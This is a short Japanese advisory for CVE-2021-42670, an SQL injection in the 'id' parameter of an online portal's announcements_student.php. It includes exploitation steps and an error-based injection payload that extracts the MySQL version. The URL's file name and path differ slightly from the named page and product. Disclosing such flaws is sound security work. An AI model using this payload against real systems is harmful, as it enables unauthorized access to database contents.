CVE-2021-42670

CVE-2021-42670 - エンジニアオンラインポータルシステムにおけるSQLインジェクションの脆弱性。

技術的説明:

エンジニアオンラインポータルにSQLインジェクションの脆弱性が存在します。攻撃者は、「announcements_student.php」ウェブページの脆弱な「id」パラメータを利用して、実行されるSQLクエリを操作できます。 その結果、攻撃者はウェブサーバーから機密データを抽出できます。

影響を受けるコンポーネント -

脆弱なページ - announcements_student.php

脆弱なパラメータ - "id"

悪用手順:

1. http://localhost/nia_munoz_monitoring_system/announcements_students.php にアクセスします。
2. id パラメータにペイロードを挿入します。

概念実証（PoC） -

以下のペイロードを使用すると、ウェブサーバー上で動作しているMySQLサーバーのバージョンを抽出できます。

1' AND (SELECT 4356 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(MID((IFNULL(CAST(VERSION() AS NCHAR),0x20)),1,51)),0x7178786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pMLo'='pMLo

参考文献 -

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42670